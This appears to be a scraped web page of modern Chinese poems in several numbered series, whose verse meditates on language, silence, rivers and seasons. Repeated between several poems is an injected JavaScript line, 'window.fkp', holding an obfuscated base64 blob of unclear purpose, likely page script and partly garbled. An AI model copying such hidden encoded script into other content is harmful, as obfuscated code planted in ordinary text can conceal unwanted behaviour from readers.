而不得不承受突兀，猛然， 而成熟像自我对话的自己， 并不是现在这一个。也绝非 此刻是真正幼稚的。 分流十三1782 《分流十三》 太过简单于，在我的 不能而不是无法回答的 幸福上。这个本质向下， \/ 这个向下的本质， 便是了语言， 同样在于其内。 话语已经说出， 但现实的冷酷远超过想象。 \/ 我希望将自己聚焦在， 一片新虚无上面。 希望转移和挪动就是问题的全部， 如同忽视和漠视， 在人世间的生活就是 挤满了人群的河滩上， 我们就是被寻找的。 \/ 沉默当中布满了石头和语言， 萦绕我身边的来到我的身边， 风拂过脸颊，带有着冷意。 我不远处的水面也波光粼粼。 分流十四1783 《分流十四》 你沉默，孤独里面的话语 如同将更多的责任承担。 而卸下的结果是否真的是寂静 如同寂静是寂静更深处的事物。 如同问的结果就是一直的问， 而回答，充满了敷衍与客套。 而人不过是一些虚像，雾气 从刚刚天气晴朗的早晨升腾， 植物的茎叶和整体模糊的身影， 以及为了通达于迷路而调整， 延伸于人类自我的小路。我的 语言落在了上面，接着被自己的 双脚践踏，沉默作为一种必然， 跟行走一样，仿佛它们自始至终 就是事情的全部。 分流十五1784 《分流十五》 那是一件事物，一件东西。 源自于我用手的前方所指。 如果我的指向代表着离开， 并且再次的回到了这和那。 作为不能为我的所指，并 不是我是卑微的，脆弱的。 我已经检查过自己的肉体， 和心灵。一览无余于睡眠， 休息和劳作。为时刻所指， 即使它如此单纯，而词语 因为单纯而在重复的多余 里面到生出来。如果我不指 人类将缺失，或者在劝慰的 语言里面这新的历史以历史 的缺失而重新的准备着， 徐徐的开始着。 分流十六1785 《分流十六》 你沉默，孤独里面的话语 如同将更多以向着那少。 卸下的结果真的是寂静吗， 如同令得寂静本身迷乱不堪。 它还以词语和话语来作， 表达方式的即使从不超出。 就是嘴唇，把干燥，这极其少 的情形给湿润。而说出盈余 于在自我身体的超出上面， 语言始终保持了不变，在 最初，以后，很久之后变作了 对于同一的谈论。而思考已经 没有了踪迹，作为一件不必要， 和事物本身上的多余。为所有 和万事万物我们都关心与关怀， 心生怜悯，万物互相吞噬和争夺 在某一个故乡于远的湖面，水波 荡漾，湖水清澈，你我是唯一的 平静，万物正萧瑟，生机显露， 风呼呼的。 柳叶作眉一1786 《柳叶作眉一》 宇宙正在缩小， 世界，词语般的 好躲在我脑海中。 四方木桌子，可以 将它表面的敞开追溯。 并不发生，也已经被 联系起来的木匠师傅 挥舞了同样，垂暮的 老朽之锤。那只是因为 过去史的一个声音。 今天一切还在重新的定义 它，乌云，打雷和下雨 云后的一双手逐渐苍白。 柳叶作眉二1787 《柳叶作眉二》 我感到了世界需要思维， 感到存在往往有赖于单一 和人那些欲望难平的时刻。 就像安全也从不是绝对的， 但是危险性的这一个提法， 在于言语（请稍微推迟一下 你自己）已淋漓尽致的展现， 同样已不会再向着更多了。 显露本身是足够丰富的，甚至 把超过的冠之以称呼，又让 神秘，和神秘生和死两个端点 在语言的深处，里面。呵， 因此存在是一个副词，提起来 了人那自我的太过于口渴， 饥饿。真实的事是春风吹动了 树梢报春的枯叶，昨夜的鸣鸡 一夜未归，巢穴充满了春色， 在一阵阵命运般的震颤里面， 有一位古代诗人坐船东去。 柳叶作眉三1788 《柳叶作眉三》 她应当更小。像我的心 是否会触碰到另一颗心 心，里面还藏着一个答案 春天主要的组成和来源 而青草，这样一件为了 使得我们感到美好的事物 丢失的，在于上午失去 傍晚落日熔金，我们满满 的收获。一个人会梦到降临 的事物，之后一切成真 新的一天你是一个新人类 作为后果，走向田野中的 红果子，它们开满了山坡 柳叶作眉四1789 《柳叶作眉四》 有一晚，已经被埋藏了起来。 而且只会埋得很深，越来越深。 土层里面的悲悯，不能够去声张。 被夺去了话语权的人，空有一声 喉咙。日历本，老式的，天空中有云 日子比历史以人还要难想象的超出。 河面震动，水面震动，树梢上叶子新绿 仿佛过一会太阳就会从云层中重新出来， 历史隔着面前的一条河，将什么都大可以 不重要的人生态度赋予泥土。房子是 土胚房，外面往往有一个猪圈和牛栏。 墙上，翻动的日历本，恰恰日历本也同时 同刻，是掩埋它们的事物。我的祖祖辈辈 在风声里面听，看不见，感觉眼前风在周转， 风声来的快，走的也快。日子一天天的过去， 河水清澈，生活不好过，儿女待取待嫁， 土地收成微薄，火烧云点燃了西边的群山， 交通工具不便捷，他们不认识我，不会给我写信。 柳叶作眉五1790 《柳叶作眉五》 鸟儿振翅远离 因为厌倦我对于它的形容 和赞美，老朽之人推开门 鸟儿用喙轻啄了几下果子 河流也是无关的事物 但水面的空空的影子 那无法将其他来代替的场景 片段与碎片，就像不自由与 自由，而在于其自身之内 缘何却在吐露出来的时候 一边是错误的，继续的错误着 仿佛没有另外的一边了，而且 这就是语言的实质，语言它也 有在表述出来的时候属于它自己 的消散的本质。为了不从复杂物 走向而离开，像更为和更加都是 难返而以言语而返，在语言因此 构建的世界里面，因此有了一条 大河的身影，凑近，耳朵湿润 惊涛拍岸或潺潺流水，或我如你 忽远以近。鸟儿为世界的不能而 死，而活。人为了不能精准的回忆 而感伤变得莫名其妙。仿佛一切 通过此而理顺，初春的枝头，新 降的雪，和染成白色的灌木树林 搭眼一瞧，目光随即收了回来。 柳叶作眉六1791 《柳叶作眉六》 这是多么的难以被发现 :事物在世界被简单的 说出忽略。一件事 离两件事并不远。所以 它有重量。这对于二和两 更多于在一箭所对于它的 寓意当中。时钟转动 快要到来的上午九点钟 世界发生了一件大事 不远处越过山丘，有一条 河，春天解冻，两岸发芽 河水清澈，流水潺潺。 柳叶作眉七1792 《柳叶作眉七》 前面雾气升腾，茂密而幽深， 丛林我知道一点点它的内容。 我知道我想要去某个地方， 便是了这里的意思，因此， 在细小树叶的伸展上面 在土地被沟壑分割，梯田层层。 而太过伟大于伟大， 正如同靠近有声，远离于影 对于人的这一始终千古般的 存在，更早于我们的它们 在我们愚昧，谈论之中。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 柳叶作眉八1793 《柳叶作眉八》 现象仿佛有一个总体， 又总是起了又落落了又起。 不听见的自我，我听见的 又是真的吗，我面前买来 但没有打开的西方哲学书籍， 仅仅羞和敬畏，同样的汉字 写成了我读不懂的晦涩，艰深。 无一不把我指向着，把未来的 我指向着，把民族指向着， 把土壤和种植，否则代代传承 这个传承留在传统里面充满了 责难，失效后的惩戒。生和死， 听和听不见，听见的间接， 直接的事物，或者命名，称呼。 词语，我挪移开来了目光，远眺。 内心澎湃的来源或许不尽相同， 或许也有些相似性的模样。我们 谈论的是误导，你走后，我独自 一个人。现在，不属于语言的时刻， 自我指向以时刻般的需要，由我 说出或者沉默，在沉默中或者由你， 你吐露的是不由我，那也是可以的。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 柳叶作眉九1794 《柳叶作眉九》 决定在了不可之上， 那么更改于岂不就是 的它的自己之上 句子般的小心 在言说中每每以 言多必失来作为对象 来谈论，或者空口无凭 就是了说的实质，从古至今 从现在作为去往和离开 从一个起点因为必然的 微小，它那指向和那个 因此恒定不变，才有了的 别处。只要我离开了这里 ————这是风和雨当中 实质为语言的一切 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青城一1795 《青城一》 使用，运用和紧接着远离开来，一气呵成。 对一件事悄无声息的描述，是这个它自己。 甚至，事情更严重，更轻，它就像天空中的 鸟儿，羽毛在风儿中越来越少。飞，却因为 这飞翔，命运般越来越高。目光所及，包括 远和近，对我而言的天空的寡淡，事物枯萎 尚且没有结束，我的停留也因为短暂而得以 成行。与其他事物相互呼应，却冠之以神秘。 不说话的那一些我的时刻，和对于此我的推辞 仿佛有一种礼物在无形当中，田野无形于风， 内心难以放松，空气流动，内衣有点潮湿。河流。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青城二1796 《青城二》 健康，才可能失聪。 你可能够去做的，去想， 犹豫不决，思讨。 你站在那里，但身体会 消耗能量，吃的饭正一点点 的消化掉，从那里离开的你， 作为一个影子存在于语言， 当中也会有其他的，你想要 将真实，野花和青草，河水 挪移进去，至少你想了，并且 不仅仅而仅仅于此的这个时候。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 青城三1797 《青城三》 一场爆炸，碎片和残渣 不远的地方，我们没有 注意的正在燃烧。伟大的 往往胜利于渺小，而语言 并不能够的而因此抵达于 它。随即被自我指认，确实 就像风吹动了树叶，发出了 哗哗的响声。我指认的结束般的 隶属于，就像这样一个姿态 在指认的下午，我抬起来手， 余烬燃烧，风呼呼的刮了起来， 槐树，花椒树，林中有一条小路。 青城四1798 《青城四》 展开了来，好像 错误的原因的存在 当它的那继续和持续 牵涉到了人，这一切 并不属于我。一页书 阻挡了秋色，流水无力， 那人只好书写，奋笔疾书 如叶落哗哗。为一个古代 与它那相互的等同，在于 尚未完成之上的此刻， 此刻我说一个“古代”， 就是在了古代的更为的深 像声音，像言语，或者 统一的归结。意义附着， 秋色更高，古与以之为 的现代的，相互平等 如果1799 如果 如果，我是说如果 中国人给予这片天地的最终回答 是“戏”呢。道以围绕于其他， 像它本身的存在存在着， 而更高于中国诗歌的这样一种提法 在于它的提及的尚且没有。 在尚未当中，或者一眨眼 就在了这个不可说的和理解 于“道说”上面，声音的渐渐熄灭。 青城五1800 《青城五》 碎片因不可被称呼和命名 勉力于称呼指向，是 人之自我。所以他者爆炸 再无更加危险的情形了。 对结束的这样一种开始 一般的称呼，即使我们 也曾经忽视，仿若是真， 它自身泯灭了。是了，你看， 那西风和拂动者。看树梢， 纯然自己的春天，绿色的序曲。 并且于你的寒冷，以及偶尔 随太阳而来阵阵暖意。如果 你平静，倾听。为了带来什么 并且可以以自问自答的形式。 青城六1801 《青城六》 无人于没有上。那对于自我所做， 还没有真正的落实，那因此才可以 就像我们称作了研究和分析的，依然 可以更改，如果它本身存在着变数， 孱弱的人为什么追求于确定，一亩三分地 就困住了一个人，以远行的方式不过只是， 南方的大江大河惊涛拍岸，流水冰凉刺骨， 岩石表面生着湿滑的苔藓。他不能为此而 满足———仿佛这并不总是他自己的感觉， 他想要迫切的成为别人，他人。那些他不能 仅仅喜欢和爱慕的人。真理的伴随给予 无法穿越而过的雾气，而在于清晨的醒来 就如同歇息，身体疲乏的夜晚。如果我们让 思索的困惑，在孕育的形式中等同了，对于那 睡眠，和河水清澈一般，认识上的偶然，并且 失去的必然性被充分意识到了，随之人在 第二天的清晨醒来。 青城七1802 《青城七》 所有的丰富和 它们可以通过了 因果，之后表明我的方式 谈论稀少，谈论本身 倾向于沉默无声。 这都是，紧接着 都是了称作自然。 虽然我脚下是干燥的陆地 河流的水声在心中回响着。 不可以被叫出名字， 实则只是遗忘更为亲近， 如同离开的人想要返回 语言就像路边丛生的灌木丛 春天到来了。 青城八1803 《青城八》 因受到而因此的，是催逼，压迫。 比我对于你的迫使还要严重 就像你对于此思虑停留的位置 离这里很近，因而无法抵达。 所以，理解经不起，什么 也不是什么莫须有。一个词语 完全可以的，无论你怎么说 一个人，或者你思讨人这个群体。 植物这个被山坡裹挟的整体， 或者里面作为一个代表的单一 某一个却因为此的丢失，不再见了。 这样，人追求残缺，我却说完整 人在暮色的夕阳里面，走在西山下。 这让我想起来了模糊童年时的美好 为匆匆遗忘如转身一样，继续走路 却在对于它自己寻找的一无所获里面 我感到内心如同有一面大鼓，随着 走路的鼓锤。我多么庸俗以至于， 可以谈及，这一切都是重复的，麻木的。 青城九1804 《青城九》 我自始至终都是，残缺，某一事物的倒影。 面前和身后，它们更深以及对于浅薄的指向 与日常里面的息息相关有关。而问题由此而生， 对于问题的误解，不如说宽容来自于，祈求 它们的允许。在我不是他那里，我也无法逃脱， 不过只是一些心理安慰和皮肉之苦，精神倦怠 加重了。所以，说这是一个良宵，古代人会起身 走到了窗台边。我却会将你的犹豫不决带进 缩减与减少的梦里面。现实，这个核心。或者 庸俗，有人儿即使他真的走到了面前。自言自语 不具有普遍性，人跟我一样把精力耗费，修建的 水坝却可以长时间蓄水。问题在光的缝隙里面 隐约可见。真理是心情急迫的时候，你或者我 再难以抑制住了。日常里面的一件微小事物是 转身。我无法解释，转身为何如此匆忙。他给了 我一个无形的回答，我不得不在什么是爱上， 盲目，清晰，或者我是谁呢 乌鸦1805 《乌鸦》 张继诗中仍旧一片漆黑，千年以前是否只剩下了 对时间是否准确的讨论，乌鸦有可能来自于这处 最好是从一种熟悉而来，但在对人的这种陌生中 乌鸦的处境属于单个的人:历史前进如钟表指针 人从群体里面被挑选出来，接着属更久远的过去 通过逻辑而到达者的寥寥无几，启明星的普通的 新时代，以崭新的光洁在面貌的早已经被修饰上 乌鸦的几声啼鸣，凄凉，迷离，归属于言谈和此刻 的这一切，由一页印着枫桥夜泊的书籍而起，毫无 联系才渐渐产生了联系者，所以我与那不做回答 者，在他的仅只是疑问和惆怅上面，自顾自的那 不可被夜晚的河水看见的自己。 山野1806 《山野》 时间里面缝隙般的微小。时间 指向了这里。忽而为它那巨大 而微小者的此刻，我仰望流星 穿过一个个彗星般的天空。晴 它好像是生灵在大地上。突然 之间借走了人类的感知，忽然 为急速行走的寻找已经抵达了。 忽然的太具体了，我的眼睛里面 就不安宁。理由和同时存在的疑问 一个作为新生者的这一困惑，直到 从对于他们所进行的观察，在行进 中对他们观察的那一个具体，如同 路途上面的沉默。如同发生的时候 真的这一论题，同样由沉默掩映的 夜色起了（树木，庙宇，村庄，湖泊） 上游一1807 《上游一》 树木静止于，风正穿过词语渐渐，一点点远去本质 的缩小。别人的黑眼睛我也有一双。走路，他们 目中有树木和道路。没有一面镜子，也绝对不是 镜子，待字闺中成为物的怨女。痴男要饱经风霜， 风饱经男人对单一性别的不得不遵从。我打听 着你的消息，今天，我们依然息息相关，太过紧密 了，通过呼吸来遗忘。气温升高，灼烧着冰一般沸 腾的寒冷，今天我有了一个麦瓮改成的鱼缸，丢失 一些可有可无的东西，未来的谈资围绕你这个女人 而旋转的是现在以此刻为标准的隐秘，它皱着眉， 像我自己的眉，山峦幽暗，夕阳西下。 上游二1808 《上游二》 多少词，台阶承担距离的落差 不远处，落日昏黄，更远处 同享同一片阳光的小镇—— ————我言说和表达趋向于 从无尽头，这生活化了的肤浅 而为生存辩护的欲望在对立面 紧接着全身的走动。对于自我 却投向了周围，这陌生感而不是 熟悉。这一完整而残缺作为被 言语，被沉默于并不是的那个 称作以没有说出当中。所以， 万籁俱寂，多么的原始性，多么 美的景色，陌生人你开合于禁闭 而在此上面，疲倦算不了什么。 怀疑日渐加重，傍晚如走到了 一天的匆匆忙忙。脚步踢踏， 还是我，仿佛孤独，当孤独从这些 同样轻易而来的事物的群居状态中。 上游三1809 《上游三》 很轻，重复的声音多么 坚持而又无力。我知道 灯眼睛一般熄灭内心 世界庸俗于长久，我知道 美全部的借力点，它对着 丑陋的或者衰老的，一个吻 递出了对世界残缺的弥补 三月的桃枝花枝乱颤 钓上来的鱼儿开膛破肚 深夜又会在水中活过来 纪念者对于悲痛的理解 始终沿着语言的过去式 如果这里的贫乏，村庄的 属性是战乱偶尔波及到了 翻书声构成的春天的晚上 久久不能入睡的人儿，你 痛痒的感觉，我摸到了你 行尸走肉统领了对于感觉 的命名与称呼，并且在反问 与疑问的整体性当中。像 镜子里面我尽量躲避的 一张脸:这语言与水波的幻象 两颗玻璃珠都因为历史原因 而寂静无声，因为寂寞的碰撞 全都只是在寂寞本身上面 你从庭院走进命运，我看不见 你的时候，也是你对于我的 询问，思念。那纸上的内容 你到底看过了没有呢？ 上游四1810 《上游四》 很轻，重复的声音多么 坚持而又无力。雪花 就是一层又一层的东西 同意的东西，痒的东西。 没有人的东西，人都在了 语言里面的东西呵。东西 就有影子了，像湖边的柳树。 大胆的春天饱含深情厚爱 沉默的边界之内，有情侣 青草与梨树之白，说出它们 今夜我将普通而平凡，只是 在你的耳朵里面，告知着 可能这也是你自己的梦呓 人就是一个被白天灼烧的误会 苍老的人被误以为是衰老的 年龄离开了集市就自由自在的 指。有人经过了我的允许 在湖边洒下了珠子，和珠子一般 的鲜花，野草，梨树，荷花。 鲤鱼肥胖:欲望来源的圆形漏斗 我真是你的一个误会，你误会 你的情侣活着，我还得往前 它可以回还道路的形成上面。 上游五1811 《上游五》 很轻，我耳朵的 明月的窗。我的庭院 我破旧的说辞里面 急切的是我的嘴唇 :在你那多嘴问询后 人儿，你正一错再错 水洗白色的额头和脸 眼睛与呼吸接近彼此 通过和解。怎么可以？ 构造在我耳边是错误的 通信结束之后，一张纸 从信笺里面走了出来 事实上递给了我自己 事实上言语总是平静 对急切的不能够内含 语言因此说不出本质 全是形象的和有时候 是一些因为山坡而走在 上面随着风儿东摇西晃 才有了并且因此失去 选择遗忘的人像回家一样。 上游六1812 《上游六》 翻到地老天荒，翠绿手指头 枯萎的叶子总习惯在于一 瞬间了。如果语言这样逃逸， 仅只是留恋含义的内涵。 就像你在我的嘴唇里面 种植，花朵的种子还在 土壤一般当中。亲密性 当然可以在说的重复里面 而土壤，河流与山川 这些因遮盖住了它们 正是在这一形式里面 它们借此形成，它们走的 更远，也是远，动力的 古已有之了。也是我， 我一边想你，想象你 像你丰满的乳房，不远处 是枯萎，凋零，上一季的树叶 叶落归根，巨大的阴影和压力 从另外的一个方向上面来看， 我就吐出来了仅少于湖面的 水，灯太阳出来的时候， 会被被上下左右的包裹着的爱意 被空置着的而与自由相矛盾的， 孤独的人自身毫无去处的便 向着内部，那与身体内部相互的 对于一个微小事物、事情的构成 完成在未完成上面矗立，我孤独的 矗立，你行走，季节交接，世界 繁花似锦。 上游七1813 《上游七》 遥远地方的在， 这里的空空的突然， 揪住了一颗心， 太软的人怎么可以走进城市， 那里，哪里，由人的石头铺就。 \/ 回来的影子被称呼 在称作回来的线条， 当它荡漾着河流之波， 命运的色彩，反光通过了河面 \/ 这是语言的孤独， 更多是没有人，无法拯救的， 去拯救的人儿反而坠入对话中。 对话像一个陷阱，所以孤独的美丽的 持续长存。或消弭 \/ 我因此一直能容易找到你， 也请求你，来到土地干旱的这里吧。 我们做简单的事情，你藏在我的 又一次回忆起来的身体上面。 \/ 心跳的邻居， 有一天因为孤独而离去 爱人的亲昵。故乡的土房子。 上游八1814 《上游八》 世界颠倒，世界需要一件外衣 温度计，当衣架空了 显露的事物当它引诱着语言 \/ 世界已经完美， 充满了自问自答 其中充满了时间的旅程 一个爱尔兰人从英格兰北部 向着伦敦地区。 \/ 未来在现在是小小的水洼 因人而起他反问他不服输 历史当中的狡辩的文字像 鸟儿腹中，碎石子摩擦谷物 \/ 我向你伸手，手腕黝黑 天色昏沉，蜡烛照亮了 未来的电气化时代。 不相识的才熟悉才展开来的故事 故事里面有桃树和梨花 很多的小果子，爱尔兰人 渴望东方，瓷器上的春天 孩童的脸庞，太阳莹白色光芒。 上游九1815 《上游九》 没有椅子和书页般的记忆 当我就在孤独中坐于田野 过去的时间交给了现在的 和人正在发生的有所关联 \/ 是否那就是幸福的形象呢 它们脱离开来从那单一性 并且是为没有的完成诱导 荒芜的道路当它埋葬人类 \/ 好奇，欲望。如今仍旧是 轮回的形象，包括那白云 一般的包括包括那沉默中 包括般失语症状，诊所般的 \/ 已经可以治疗了。你康复的 死亡的是，因为因为一个 过去般的原因而土地和道路 的再次荒芜，我只需要盯住 你，人类的时刻，安静的春水 \/ 我的信服将旗帜般的被扳倒了 未来的形象是现在的困乏，时间 已经深了，你，一个钟表修理匠 考虑一下吧，世界的哲理已经分散 一个原因也并不重要，情重要 \/ 你窗玻璃外面的景色，街道重要 道路通往又一次的荒芜，如果 没有，你昏沉的脑袋，听到很多 人，走在上面，帆布鞋踢踏叮铛。 上游十1816 《上游十》 陈旧史就像桌面上面，纸叶单薄 那些因为我们自身，对我们自身 单一性的描述，同样以那丰富性 的时候。而徐徐展开于，仿佛不在 的才属于上一刻和这里。还是那些 事物的鱼贯而行的语言队列。 \/ 还是你能够警醒这个世界，苍白的 脸颊像一面鼓是最后的选择。 在自我对于自我中，近距离中 当这一切的内容真相是焦急不安 你转动着，春天也同样如此， 世界存在更大的哲理，人儿 从你无知而来的这一切，和虚无， 和一具肉体衰老的宇宙穹顶。 \/ 视力下降了，狐死首丘 暮色的傍晚，河汉迢迢 脸庞最后一个入土为安 如果存在巨大的意义， 而问询已经向春风转变 作为被问及者而于其上 或者如同死亡于黄土地 之辽阔与粗糙，同样在 生出水源和需要一般的 河流，大地的五光十色的 答案，当它们的并不隶属于， 像一种走向，而且为蜿蜒曲折 所人类般的动人美丽，存活 于问题中的人儿，如果愿意 去更加的具体 上游十一1817 《上游十一》 遥远的地方的在，像风修饰两边的树木。 为众多凋零而拥有了的是这里，抑或者 一个疑问一般的现在呢。所以有很多人 在等待着你的动身，你这个把远处藏起来 成为一个隐秘的人。语言轮回的命运， 花椒树伸出尖锐的刺，道路平缓却突兀， 人在远离的时候，那宁静由沉睡一并构成。 月亮是世界的残缺:一个被发现回答的终点 直到从眼睛里面出发像一个伟大的哲理， 提问的回声跟睡眠和呼吸一道，作为共同的 交织，它们在白天以歌谣的形态由大家吟唱。 上游十二1818 《上游十二》 遥远的正在走远，如果 我的疼暴露，像本质暴露， 是艰难，对于阳光的指认。 地方活动带来的轻易性 对于语言的这样一种 空一般联系的，空不是真的 但走动却实实在在发生。 并且为我的庸俗，大门外 人声鼎沸，才是挽歌的本质 它将心悦臣服给予一张张 面面俱到和覆盖油污的桌面 即使钟表里面居住是时辰未到 为我们所语言般对世界的校正 为欢欣，不知为何的接受的众人 之结果。我们都在是等待着的 自我的声音，和它的消弭。 为空窗期在于不久之后， 到来的形式以此刻种种， 在于一切那里萧瑟寒冷如 面临处境的诗歌。吟唱的短暂 和欢乐的本质，生命的疾苦 以及活者辽远，时而隐秘 也还是它，不必指出，全部 着力点于行者的这个地方。 上游十二1819 《上游十二》 遥远的正走远，如果我的 疼因此暴露，像本质暴露 是艰难，对于阳光的指认。 活动不会停歇带来的轻易 对于语言的这样一种 空一般联系的，空不是真的 但走动却实实在在发生。 并且为我的庸俗，大门外 人声鼎沸，才是挽歌的本质 它将心悦臣服给予一张张 面面俱到和覆盖油污的桌面 即使钟表里面居住是时辰未到 为我们所语言般对世界的校正 为欢欣，不知为何的接受的众人 之结果。我们都在是等待着的 自我的声音，和它的消弭。 为空窗期在于不久之后， 到来的形式以此刻种种， 在于一切那里萧瑟寒冷如 面临处境的诗歌。吟唱的短暂 和欢乐的本质，生命的疾苦 以及活的辽远，时而隐秘 也还是它，不必指出，全部 着力点于行者的这个地方。 上游十三1820 《上游十三》 在遥远的正走远，如果 我的疼暴露，像本质暴露 人以返回去在转身的 困难和阻力、在路上。 到达历史观中神秘的某种 事物，耳朵因清新而生茧 才暴露了我良心般的心思 是了，沉默里面五彩缤纷 镇子上的集市却遵从季节 准则其实从未曾的有过了， 那些失错和爽约，即使长久 的曾在一个并不恰当上面。 所以，位置多余于有必要 跟哲理和挖掘，人类垂首 于身边花朵的浑然忘我， 或者其他，当它在于那被 允诺和允许，甚至于带有着 鼓励。余晖落日，你双手 放在衣服口袋。大河截断了 我的话语，未来波光粼粼 :这就是普通人往往命运的 难以改变。 程艾影一1821 《程艾影一》 我生动的历史，非 生动历史的不可亲 话语和一条河凝固 一张嘴亲着另一张 \/ 在因问题而起中解决 树叶和花朵有所差异 代表了多么长久的岁月 零落成泥再无隐秘可言 \/ 我虚空里不多的具体是手 在自己的难言上写满尊重 是了，等问题解决了之后 语言就是说着里面，声音 仅只是声音，院墙外颤抖 我的目光一无所获的寻找 只好在土地的粗糙上盘旋 \/ 像为了结束而未曾有过 只是人类潦草的自画像 铅笔断了，青草丛嫩绿 鸟雀飞过，鸟雀飞回来。 程艾影二1822 《程艾影二》 微弱，它那声音制造的意思 而且在院子或者河水的岸边 宽阔地界本身所带来的东西 是等待的一个人儿长久寂寞。 \/ 一个人想要的，月光照不到嶙峋的心。 而心内因此变化形状，水又怎么可能 有形呢？树木和语言文字，交流的 历史，最初砍伐，烧毁对它的形成。 \/ 对于那脱离开来 以并不属于此的错误理解 在表述上面是道德的幻象。 从思绪而言，死去的人们 被唤醒，并且自我中的那 非自我，正祈求着我，对于 这一切的我的可理解的 而此时刻情绪却占据了 主要和主动。 程艾影三1823 《程艾影三》 我希望土地到处开满花和树，绿色的。 你失踪是假的，我借着你的语言语言。 你看，黑色的眼睛———世界的本质， 也还是饥饿，人本质就是离开和追寻， 并且在两件事情上面。意思不可能再是 别的，其他就像夜晚的星空，你推开门 就投身一片妥协的虚无。你，丢失了的 人儿，只为了给我们把“美丽”这个词语。 世界充满了回声，捕捉苍蝇的玻璃瓶，表 面的细小裂纹，通往世上的另一个深谷。 有时候一切都突然转向了你，并且寻找 你，仅只为省略其间复转作神秘，难言。 程艾影四1824 《程艾影四》 自Y的人面对着K问 他的左右将前后也代表 越过河流，穿过田野 消失不见，土地裸露出来 也为复更的调子，嗓音 因借来而沙哑，村子里 的妇女和二傻子，到底 该选择哪一个呢，突然失聪 而对于我们自己的这种危险 有着逃脱，道德晶莹太阳般 的光，徐徐向下，为修饰想象 并且涵盖了土地，春季，生长 唯一所留便为阴影，颜色为黑 人只看一眼就匆匆离开了 没有人期待着一个孤独者。 程艾影五1825 《程艾影五》 我希望土地到处开满花和树，绿色的。 你失踪是假的，我借着你的语言语言。 你看，黑色的眼睛———世界的本质， 也还是饥饿，人本质就是离开和追寻， 并且在两件事情上面。意思不可能再是 别的，其他就像夜晚的星空，你推开门 就投身一片妥协的虚无。你，丢失了的 人儿，只为了给我们把“美丽”这个词语 带来。世界充满回声，捕捉苍蝇的玻璃瓶， 表面的细小裂纹，通往世上另一个深谷。 有时候一切都突然转向了你，并且寻找 你，仅只为省略其间复转作神秘，难言: 朝向着以寄托于人，对于虚无这自Y之物。 程艾影六1826 《程艾影六》 如果思想之地，南方地区 错误的麻雀低下头来啄食 我为欢欣的事情来自同一 早晨七八点钟的太阳指针。 南方像树下凉阴一片，人 语言化了的否定，还是它。 是什么，宽松使得我联想 水，木舟漂浮在上面，徐徐 向某个前方。而朝向本身 是否是一切的可以去代表 比如我们的双足，在躯干 一下事物的众多形成了世 界，东方人的这里和某一种 馈赠。而山川草木可以对话 南方，可以亲吻。窗子，要 早早的种下黄菊花。正是 我所观察，事物从这里而来 早晨忽远忽近，如女子弄莲。 离山记一1827 《离山记一》 傍晚里有某样东西， 某个人是否厌倦了， 讨论存在或者逻辑 和因果，整体。粉碎 性质我们如此而出的 道德。 \/ 人的拥有，借着排除法。 而提问和质疑中，随之 的加深并没能够去弥补。 时间仍旧流逝，河水蜿蜒， 神秘，空舞。 \/ 手，躯体。行动有一个准则 随后孕育出更多。你的表达 最初简洁，后来在改变的路上。 一切都不可避免，我也想生儿 育女。 \/ 薄雾完全笼罩西边的山峦， 遗忘般表达的自己，欢喜 表达的自己，在镜子前逗留 那是另一个自己，徒劳之我。 离山记二1828 《离山记二》 也还有，还有一双眼睛的自视 在女性头发后面。她眺望远方 使得，诗意阻断了更多的诗意 \/ 你我的分明就是。当某一件事物 外套和样貌穿着于多或少的倾向 屋子里面住着迷乱者，醉意熏熏 否则推开了屋门，来到那人世的 普遍性，这不是他的脸颊能够去 承担的。那些可以准确描述于他 语言正一错再错同时过分的自信 \/ 有时候我在很多地方，等待你 我还没有死去，衰老，落叶繁花 公交车曾使你曲折的身子回到 瘠贫，早餐上空盘旋着最早的 一束太阳光。人群，庞然大物由来 于你的内心的脆弱不安。眼神徨息 这些不可触摸对于手的触摸而言，是 不可抵达的本质。日历本处在减少中。 \/ 我同样也毫无解决办法可言， 如同重复嗡嗡响的乡村之瓮 语言在傍晚重新邀请我，像我 羞涩对你的邀请日久天长。只 道是从那里回来，周转的桌子 上面的沙漏，和前后摇摆的计时钟。 离山记三1829 《离山记三》 青草浮踪，我说没有此 相反的那无异于风景。 天空是一扇巨大的窗户 即使很多人死了，一座 房子，这人类的野心。 \/ 是我的语言将它们放下， 哪一个重要，那一个不。 沉默之后的生活更陷入， 失语。孤独呵，美丽的歌。 \/ 否认命令着我，憔悴又可爱。 话语中，善意的芳邻的身边。 